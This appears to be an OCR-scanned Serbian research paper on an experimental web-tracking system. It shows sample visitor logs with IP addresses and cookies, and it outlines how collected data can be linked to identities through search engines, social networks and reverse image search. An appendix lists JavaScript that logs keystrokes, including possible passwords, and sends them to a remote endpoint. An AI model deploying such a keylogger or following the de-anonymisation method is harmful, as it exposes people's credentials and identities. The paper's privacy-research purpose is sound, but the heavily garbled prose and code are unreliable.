Reverse: cable-24-135-7-60 dynamic sbb.rs

Entry: 20:41:08 22/05/2014
Exit: 20:42:25 22/05/2014
Length- 1 m 17 s

Chrome 36.0.1985.18 Win 7 x64 Mo

IP: 24 1357 .60 ==
Reverse: cable-24-135-7-60.dynamic.sbb.rs

Entry: 20:42:29 22/05/2014
Exit: 20:42:29 22/05/2014
Length: Instant

Chrome 36.0.1985.18 Win 7 x64 Mo

IP:24.135.7.60 ==
Reverse: cable-24-135-7-60 dynamic.sbb.rs

Entry: 20:42:35 22/05/2014
Exit: 21:07:46 22/05/2014
Length-25m 11 s

Chrome 34 .0.1847 137 [[Win 7 x64 Mo

IP: 46.170.114. 65 == City Polska
Reverse. oukB6 internetdsl tpnet pl

Entry: 07:16:12 23/05/2014
Exit 07:16:12 23/05/2014
Length: Instant

Chrome 34.0.1847.137 ||Win 7 x64 No

IP: 46.170.114.66 == City Polska
Reverse: oukB6 internetdsl tpnet pl

Entry: 07:16:18 23/05/2014
Exit: 07:16:18 23/05/2014
Length: Instant

Slika 13 — Izgled liste prikupljenih podataka

4.2 Generisanje informacija i analiticke pretpostavke o0 mogdnostima
Na osnovu prikupljenih podataka ra&#im metodama obrade i data mining-om

mogu se formirati informacije koji su direktni ihdirektni derivati tih podataka. Na primer
koristei IP adresu i vremena poseta, ulaznih/izlaznih i vreartesjanja same posete mogu
se dobiti informacije o ponaSanju samog korisnikaagu se mapirati njegove navike i

eventualno predvideti u koje vrende posetiti koju stranicu ili prostija varijanta tige

korisnik kod kue ili nije.

9c8e5f28e25362ced04bb6c3d2901ddd

46058f86919de264c0B407L14cTL22bd

b407e69602b0e3cB6fd45ad5c40edi4f

28%

28%

9cBe5f28e25362ced04babe3d2901ddd afc41e8452eb0d80916fTdada5eBlca
9c8e5f28e25362ced04b66c3d2901ddd 85031d05c1a5a459de1%8ed941b2e904 28%
9c8e5f28e25362cedl4bbbc3d2901ddd baBb47cbifecdd3ZciB3f064a2ea825¢c 28%

184fbT72f91d53f8a8705¢cc2arced3cdb

184fb72f31d53f8a8705cc2aecefdcdb

184fb72£91d55£f8a8705cc2aeceb3cdb

184fbT72191d53f8a8705¢cc2aece63cdb

184fb72£f31d53fEaBT05cc2aeceddcdb

184fb72Lf51d53L8aB8705cc2aeces3cdb

04c4B060576cf6a3477fbde3593c50aa

T£72973b34c4845268cdf88fecabfad2

fdldc75c072cd3eals28bib70196a0as

bb6d6f5461h8845f2ec9b8d5afs3de3s

822826B8Bec3BcTebb3f6948cel4bide

TL8898647aB8ch50a9a724d8b6414d41L5E

Slika 14 — Primer informacije dobijene iz prikuplje podataka

" Uporetivanje posete sa drugom posetom i ditvanje slinosti prema prikupljenim podacima. Prva i druga

kolona predstavljaju unikatne identifikatore pos#té tr&a kolona predstavlja procenat poklapanja na
osnovu tezinskih parametara prikupljenih podataka.
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Ukoliko uzmemo identifikator posete koji predstaviperzistentni podatak u
korisnickom pregledé&u, IP adrese i ulazno vreme poseta mozemo stweaiu snimljenih
IP adresa i utvrditi da li na primer korisnik kdridinamicki opseg adresa ili st&ki, da li
korisnik pristupa internetu sa iste lokacije ili slicitih lokacija. Ukoliko pristupa sa
razlicitih lokacija, pretvaranjem IP adresa u priblizn@otdinate mozemo dobiti
korisnikovu putanju u nekom periodu vremena, kejegmlje ili gradove posetio koliko se
u njima zadrzavao, ili barem koliko je prése vremena provodio na web aplikaciji pri
svakoj instanci pristupa internetu. U ovim primeairposmatrali smo situaciju kada je
jedinstveni klj@¢ posete saivan tj. korisnik nije obrisa@ookieje tj. kolatice sa svog
racunara.

Ukoliko bi smo posmatrali drugi siaj, da na primer posle svake posete korisnik
obriSe sve informacije koje bi ga mogle identifikdivpri narednj poseti, mi i u tom skaju
mozemo formirati informacije o njemu, ali period jikanoramo posmatrati postaje
srazmerno v@. Naime u véini slu¢aje covek je bée navike i moze se pretpostaviti da po
dolasku na posao i ispijanju jutarnje kafe, osobdasza svoj kanar i pregleda svoju
elektronsku postu ili pogaje web aplikaciju. Takvo ponaSanje moZe stvoabldn koji
¢e se u manjem ili @m odstupanju ponavljati kroz vreme i upotrebontisttékih
metoda i data mining-om mozemana utvrditi da li su podaci o pristupu vezani zais
osobu ili ne. To nam naravno joS uvek ne govorakejosoba u pitanju, ali obzirom da je
prikupljena koltina informacija velika, postoji Sansa da je osobpgdnom trenutku u
vremenu unela neki od identifikujin podataka ili barem delove podataka prekoéege
perioda vremena i ¥eg broja posetdNa primer ako u setu podataka za koji znamo da
pripada jednoj osobi prodamo podatak koji moze oz¥avati ime, a pri drugoj poseti koja
se dogodila par dana kasnije i prezime, njihovirmkmovanjem i pretragom po rastim
javno dostupnim medijumima mozemo saznati viSermézija o toj osobi.

U danasnjem modernom dobu¢we internet korisnika ima naloge na raiim
web aplikacijama i druSvenim mrezama. Te aplikawgij® cesto od nas traze privatne
informacije kao Sto su ime, prezime, email adrelsdm ralenja, mesto rdenja, mesto
stanovanja, broj mobilnog telefona, adresu stanayatrinu spremu i séino. Jedan ili
viSe ovih podataka moze biti javno dostupan, Stalrsge strane z@ada se tom istom
podatku moZze i pristupiti, Sto naravno nije uveklako ni brzo, ali svakako izvodljivo.
Facebookkao tiptan primer druStvene mreze koju koristi ogroman enat svetske

populacije omogtava pretragu svojih korisnika po imenu i prezimemuanijoj iteraciji
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ove platforme bila je omogena i pretraga po email adresi, ali je ta néogst sada
izmesStena i teze joj je pristupiti.

Pravila privatnosti, tj. opcije za prikazivanje/mépzivanje odréenih informacija
postoje i dostupne su svakom korisniku te mrezenali broj ljudi koristi mogdnost da
naknadno promeni set podataka koji su vidljivi,¢ ve@dnostavno ostaju na onim
podrazumevanim opcijama Sto ostavlja mowmst pretrage i utdivanja identiteta ukoliko
je unapred poznat neki set podataka. Prostom poetrapreko Google APija tj.
upotrebomGoogle pretrazivéa mozemo takde dobiti deo informacija koji moze otkriti
korisnika, ukoliko poznajemo email adresu mozenamgi Google Plus profil korisnika i
odatle povudi dosupne informacije. Preko email adrese dgkmozemo pretraziti Skype
servis i odatle izvdi drugi set informacija kao Sto su zemlja i gradnsivanja, ime i
prezime ili broj telefona ukoliko su dostupni.

Takade ukoliko u toku prikupljanja podataka praeano sliku korisnika bez
poznavanja njegovog identiteta mogu se iskorisétvisi kao Sto sGoogle image search
ili TinEye koji nam daju mogénost utvdivanja drugih lokacija na kojima je slika
postavljena. Ukoliko je neki od rezultata druStveneeza ili personalni blog, mozemo
dalje pristupiti prikupljanju informacija. Jos jaedazvor informacija moze biti i WholS
baza web domena koja nudi informacije o vlasnicdoeena, iako je deo unosa u ovom
servisu zaséen, deo njih sadrzi informacije o lokaciji, imenkantaktu osobe zaduzene za
web domen koji smo u nekom trenutku otkrili u spadataka koji smo prikupili 0 osobi.
Pored tekstualnin podataka mogu se prikupiti i poda kretanju korisnikovog
miSa/kursora. Ovi podaci ne moraju biti relevargai otkrivanje n&jeg identiteta, ali
svakako mogu ukazati na Sablone ponaSanja i mdgueoma korisni kompanijama koje
se bave oglaSavanjem ili samim administratorima vapbkacija koji bi na osnovu
dobijenih informacija mogli da utvrde najbolje pcg za reklame ili kakve su reklame

najprivlatnije njihovim korisnicima.
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4.3 Podaci prikupljeni od klijenta putem ovog sistema

U sledéoj tabeli prikazani su podaci koji se mogu prikuprtaglaSava mogunost njihove

upotrebe u formiranju informacija koje mogu ugrbzitrivatnost korisnika/posetioca

sistema.
Prikupljen podatak Ugrozava privatnost Nivo ugroZzavanja
Url stranice na koju se dolazi Ne
Url stranice sa koje se dolazi DafNe Nizak
Vrsta i tip operativnog sistema Ne
Vrsta i tip internet pregleda Ne ---
Tip uredaja Ne
Da
Omogu«ava préenje
Lokacija korisnika kretanja korisnika Sredniji

snimanjem lokacija u
razlicitim vremenskim

trenucima
Vreme ulaska i izlaska Ne
Da
Key log — korisniki unos Omoguava prikupljanje Visok

podataka kao Sto su
korisnicka imena, lozinke

Da

Daje informaciju o delovima
strana na kojima se korisnik
najviSe zadrzava

Polozaj misa Srednji

Da
Omoguwava informaciju o
drugim aplikacijama koje Srednji/Visok
stranica sadrZi ili snimljene
informacije aplikacija kao

Sto suFacebook sl.

Korisnicki kolagici

Problemi koji su ¢ekivani u buddnosti

Da
Moguénost identifikacije
Korisnicka fotografija korisnika na osnovu Visok

fotografije primenom
forenzikih metoda

Da
i Moguénost identifikacije ]
Korisnicki glas - sample korisnika na osnovu snimka Visok

glasa korisnika primenom
forenzikih metoda

Tabela 1 — Tipovi prikupljenih podataka i njihovaaj na privatnost

8 U zavisnosti od toga da li stranica sa koje sezialadr?i u svojoj adresi bilo kakav podatak kofize
uticati na dalje ugrozavanje privatnosti, dok uinekluajevima i sama adresa moZze biti izvor ugrozenosti.
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Prikupljen podatak Primer podatka
Url stranice na koju se dolazi http://michael.deugr.com/
Url stranice sa koje se dolazi http://test-siteatdd.net/g/
Vrsta i tip operativhog sistema Win 7 x64
Vrsta i tip internet pregleda Chrome 34.0.1847.137
Tip uredaja Mobile - No

IP: 89.216.23.81 Country:Serbia City:Belgrade

Lokacija korisnika cable-89-216-23-81.static.sbb.rs

Entry: 08:21:40 26/05/2014
Vreme ulaska i izlaska Exit: 10:20:00 26/05/2014
Length: 1h 58 m20 s

Key log: <--part 0-->

Key log — korisntki unos testing[Space]key[Space]log[Space][Space][Spacealf8iSpace]

HstCfa2343465=1390564368288;

MLR72343465=1391084137000;
_ga=GA1.2.96608629.1390564368;
HstCmu2343465=1400948455159;
c_ref 2343465=http%3A%2F%2Fwww.viralbuzzer.com%2F;
_utma=95634074.96608629.1390564368.140155339%6223Y
6.28; utmb=95634074.1.10.1401622376; _ utmc=95584
_ utmz=95634074.1401553399.27.3.utmcsr=viralbuzaerjutmc

cn=viralbuzzer|utmcmd=referral,
HstCla2343465=1401622376690; HstPn2343465=1;

HstPt2343465=34; HstCnv2343465=11; HstCns2343465=13
__unam=247ec77-143c4186111-67dde3c1-174

Korisnicki kolagi¢i

Tabela 2 - Primeri prikupljenih podataka

URL stranice na koju se dolazi predstavlja punu ads&sme koja je trenutno
otvorena u korisgkom pregled&u, URL stranice sa koje se dolazi predstavlja punu adresu
stranice sa koje je korisnik doSao do trenutnengtea to ukljuituje i eventualne parametre
GET zahteva. Vrsta i tip operativnog sistema kao fasrsip korisntkog pregled&a daju
podatak koji direktno oslikava okruzenje i softkeyi korisnik upotrebljava. Podatak o
lokaciji korisnika sadrzi njegovu IP adresu, drzaguad iz kog korisnik pristupa
internetu. Ovaj podatak moze biti neprecizan u @adglgrada u zavisnosti od bdPe
adresa koja se koristi u sistemu. Vreme ulaskaska i trajanje posete daju dodatnu
dimenziju ostalim podacima i mogu se koristiti uhe/formiranja Sablona poseta i u
kombinaciji sa lokacijom mogu dati mapu kretanjaismka.Key logpodatak predstavlja
skup karaktera koje je korisnik otkucao na strainmebdze sadrzati koriséko ime, lozinku
i sl. Korisniki kolagi¢i (Cookie$ sadrze snimljene podatke samog sistema, mogaatadr
podatke od ostalih aplikacija ili dodataka kojetpoges na posmatranoj stranici, ali i podatke

od aplikacija koje je korisnik koristio npFacebook sl.
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5 Zaklju ¢ak

Brz razvoj novih tehnologija i po¢anje dostupnosti globalne mreze dovodi do
stvaranja novih problema koji gti na privatnost pojednaca, ali u istoj mericuti na
poslovne organizacije i njihove poslovne uspehad.@@eblemi prvenstveno zadiru u nasu
privatnost, nas ogaj jedinstvenosti i prakino nas pretvaraju u joS jedan broj na nekoj
listi, u nekom raunaru u nekoj kancelariji. Informacije su danastglesprimarni resurs
savremenog informacionog druStva. Njima se trgpggako ali sigurno one postaju odraz
maoci jedne drzave ili grupe ljudi, Sto viSe informacinate to ste nimiji.

U danasnjoj eri svaki korisnik interneta kao glolealmreze ostavlja za sobom
mnogobrojne tragove na osnovu kojih je mauzloupotreba od strane drugih korisnika
mreze. Pod zloupotrebom smatramo direktne i intlekuticaje. Direktni uticaji
predstavljaju direktnu Stetu naneSenu pojedincakaeski r&uni, zdravstveno osiguranje,
poslovne informacije), dok indirektni podrazumevgjtbavljanje informacija o ciljnoj
grupi u svrhe marketinskih aktivnosti koje na drungtin predstavljaju mogtnosti za
Zloupotrebu.

NaruSavanje privatnosti moze da se manifestuje iBa m&ina, prosto préenje
njegovih navika, poseta web aplikacija ili jednesia pregledanje kataloga na internet
prodavnicama ili préenje u smislu prisluskivanja i lociranja. Moderntarnet pregleda
sami po sebi viSe nisu dovoljan vid zastite,¢pl ni sami sistemi zastite u vidu sigurnih
protokola kao Sto su OpenSSL nisu viSe toliko siguwto je i pokazano skorasnjim

otkricem ,Heartbleed“®

propusta koji je omogiavao pristup nesifrovanim podacima iako
se pri komunikaciji koristi SSL bezbedonosni pratok

Budwnost otvara veliki prostor za razvoj tehnologijgekaoam mogu pomio i koje
nam mogu olakSati svakodnevne stvari kao Sto sw\op, komunikacija sa prijateljima
ali nam u isto vreme ukidaju i anonimnost koja gnije postojala pri sopstvenom
obavljanju tih operacija. Nekada je komunikacijan&du dve osobe bila poverljiva,
privatna, méutim ve danas kori&njem drustvenih mreza i pametnih telefona ili Skgp
ta privatnost polako ali sigurno nestaje.

Vecina mlaie populacije danas ima korigki nalog na barem jednoj od druStvenih
mreza i deo njih, svakodnevno objavljuje svoje \akdsti, budde planove i namere.

TeziSte zaStite privatnih podataka se sve viSegmgb na samog korisnika koji vrlo

° Link: http://heartbleed.com/
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verovatno toga nisu ni svesni, jer zapitajmo seékkadmo puta prétali polise privatnosti i
uslove korigenja na internet aplikacijama koje svakodnevnostiono? Da li znamo Sta u
njima piSe i kako se aplikacije ophode sa naSimapmda? Tako da sleéieput kada
odlazite na neku internet stranicu i ponudi vampdaitate polisu privatnosti, nemojte
samo otti na dno strane i kliknuti na dugmeé\gcept ve¢ odvojite vreme i prétajte,
mozda odldgite da tu stranu viSe nikada ne posetite.

5.1 Ostvareni rezultati

Putem eksperimentalnog sistema istrazene su trenotagénosti prikupljanja
podataka putem koristkog pregledé&a ubacivanjem JavaScript koda na web aplikacije
koje korisnik poséuje. Za sada ovaj kod mora biti Wlea od strane administratora stranice
koju korisnik poséuje ili od strane osobe zaduZzene za odrZavanjecelltnoj verziji
sistem je u mogtnosti da prikupi koriske podatke vezane za okolinu u kojoj se internet
pregleda nalazi, podatke vezane za lokaciju korisnika wié adrese, drzave i grada gde
se korisnik trenutno nalazi, o samom internet @@l koji korisnik upotrebljava,
dodacima koje je korisnik dodao svom pregteda

Pored ovih podataka ta#e se prikupljaju i korisiki unosi koji mogu a i ne moraju
biti vezani za bilo kakvu formu na stranici webikatije. Svi ovi podaci mogu proizvesti
neke zanimljive rezultate u vidu informacija vezaraa korisnika, a koje su direktni
derivati ovih podataka. Na primer ukoliko podacidmlamo jos jednu dimenziju — vreme,
mozemo formirati informacije o kretanju korisnikad pretpostavkom da korisnik koristi
laptop r&unar ili bilo koji oblik prenosnog udaja i na osnovu IP adresa koje su
prikupljene mozemo iscrtati mapu kretanja korisnkkaz neki vremenski period i na taj
natin tatno znati trenutnu lokaciju, ali i prethodne lokadioje je taj korsnik posetio.

Na primer, moZzemo utvrditi period promene IP adrkedsnika kroz vreme tj.
mozemo utvrditi da li taj korisnik koristi dinathkiu IP adresu Sto bi mozda ukazalo na to
da je lokacija sa koje se loguje u stvari privaikacija stan ili kda, dok bi eventualna
stattka adresa ukazala na poslovno okruzenje odakle bpst preko opsega ulieaih
adresa moglo utvrditi kojoj firmi pripada i koliko$ korisnika pripada istom opsegu.

Na kraju zakljgujemo da je r& ,privatnost” mozda previSe apstraktna i da iz tog
razloga je bitno obaviti segmentaciju problema ginesti i tako definisati sfere i segmente
privatnosti koja moze da bude naruSena. Pod segmeenpodrazumevamo privatne
aktivnosti korisnika, poslovne aktivnosti korisnikdedutim, privatne aktivhosti mozemo

da razlozimo na podsegmente kao Sto su religijditifa pripadnost, seksualno
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opredeljenje i drugi segmenti koji séuisamog pojedinca. Danasnje informaciono drustvu
u svim segmentima i podsegmentima dovelo je daatya novih néina finkcionisanja i
komuniciranja kao i razmene informacija i iz togpga smatramo da dolazi do preplitanja
razlicitih setova podataka koji pripadaju r&#im segmentima druStvenog ZzZivota
pojedinca, te iz tog razloga stvara se i nmiogst do izdvajanja zkajnih uzajamih
informacija na osnovu uzajamnih veza ostvarenimomaj na&in. Ukoliko privatnost
posmatramo iz ovog ugla, naéeese jedna istina prema kojoj nije moégupronai
univerzalno reSenje ovih problema,évikako smo vé naveli, potrebno je sistematski
pristupiuti reSavanju ovih problema i donoSenju ihoregulativa koje bi se viSe bavile

ovim problemom.

5.2 Buduéi rad

U budwim iteracijama sistema i dodatnim razvojem tehnipgokpo Sto su na primer
WebRTCkoji pruza mogtnost i dodaje kompletno novi API sistem kojem sezeno
pristupiti kori&enjem JavaScript jezika i koji otvara prozor sistem koji prikupljaju
informacije omogtavajwi im pristup korisnikoj kameri i mikrofonu, naravno ovi sistemi
funkcioniSu po principu odobrenja od strane kokani

Posle inicijalnog odobrenja nema dodatnih upozerdmrisnika Sto samim tim
dovodi do raznih mogunosti invazije privatnosti. Ovo je samo jedan prirtehnologije
koja se razvija i koja potencijalno moze ugroziivptnost samog korisnika, ali ovakav tip
naruSavanja privatnosti ¥eiveliko postoji i u upotrebi je ¥eduZzi vremenski period, ali se
njime ve& zalazi u domen hakovanja. Daljim razvojem sisteni@otrebom statistkih
metoda, mozemo iz prikupljenih podataka vrsitiraatiju informacija razéitih vrednosti
koje nam mogu otkriti pored korisniSkog profilajegov licni identitet.

Snimanja korisrikog unosa mozemo diodo podataka koji sectii imena, prezimena
ili email adrese korisnika pored naravno podataka $to su koristiko ime, lozinka i sl.
Ove podatke naravno ne moramo dobiti pri jednojepps/& oni se mogu dobiti
dugora@nim prikupljanjem podataka od odenog korisnika. Ukoliko imamo bilo koju
kombinaciju imena, prezimena ili email adrese, mudgutemGoogle AP{ja ili putem
Facebook search daii do dodatnih podataka o korisniku, kao Sto sudabje i svi drugi
podaci koji su dostupni na druStvenim mrezama.iDalgada vé forenztkim analizama
mogue je na osnovu fotografije i nekih alafbrEyeili samogGoogle Image Seareh)
doti do ostalih lokacija na kojima je mozda ta slikastavljena i do dodatnih podataka

koje te lokacije mogu otkriti.
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6 Dodatak A - Programski listinzi

Deo JavaScript koda za prikupljanje i slanje pddata

fhikmahaak SETTINGS AND PREDEFINED VARIABLES *&&&a&a f
var  send data, send settinga={}, send keys=[]:
__esend gettings.refresh time

___=2end settings.db veraion
list={&:

var key code

B

iguery (document) . ready (functicn{s) {
var zend data={};0ld key=readCookie('ZLE ID"};
get_visit_entry{}:ffreccrded key during initial wviait
gend data.url=window.location.href;
send data.ref=document.referrer;
if{old key!=null){
send data.key=old key;
lelse{
send data.key="[I

.

createCookie('ZA5 ID',zend data.key,365);

1

add wisit entry({send data.key):

gend data.visit key='[VISIT FEY]';

__send data=send data;

refresh visit():

£ {document) .on{"'keypress' , functian{e){
ir {(e.which !

var char;

||
e JIREL
]

if{check walid key{e.which}}{
char=5tring. fromCharCode {e.which) ;
}else{
char=key code list[e.which]:
;

__send keys[ send keys.length]=char:;
b

//console.log (document.cookie) ;

Y):
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function refresh wvisit{){//refresh visit after set pericd of time

__send data['key log']= s=end keys.]join(''}):
__gend keys=[];
JQuery.getJSON (' [URL] /widget/data/?callback=2"', send data,functicn{output) {

zetTimeout {functian () {
refresh visit( send data):
[ fconsple.log (output) ;

}+ send settings.refresh time);
Py
¥
function add wisit entry(key) { //add current/valid key for reference
var request = wWindow.indexedDB.open("visit log vi", send settings.db weraion);
reguest.onerror = functicn{event}) {
consale.log{reguest.errorCode) ;
}:

request.onsuccess = functian{event) {
var my db=event.target.result;

var transaction = my db.transaction{["visitcs"], "zeadwrite"):
var objectStore = transaction.objectStore{"visitcs") .add{{
TkeyT: kEy
el
transaction.onconplete = function{event) {
console . log{'key zecorded');
b
}:
reguest.onupgradeneeded = functian{event) {
var my db = event.target.result;
if{!my db.objectStoreNames.containz{"visics")) {
ny db.createfbject3tore ("visics");
1
}| b
function get wisit entry{) {//get recorder key
var reguest = wWindow.lindexedDB.open("visit log wi3", send settings.db wverailon);
request.onerror = function{event) {
console.log{request.errortode) ;
L
reguest..onsuccess = function{event) f{
var my db=—event.target.result;
var transaction = my db.transaction{["visits"], "zeadwrite™):
var object = transacticon.objectStore({"vizics").get({l);
transaction.onconplete = funcltion{event) {
[ fconaole.log (object.result.key) ;
ki
}:

function check wvalid key(keycode) {
return {/[2-z0-9L-Z]/i.test(String.fromCharCode (keycode))) ;
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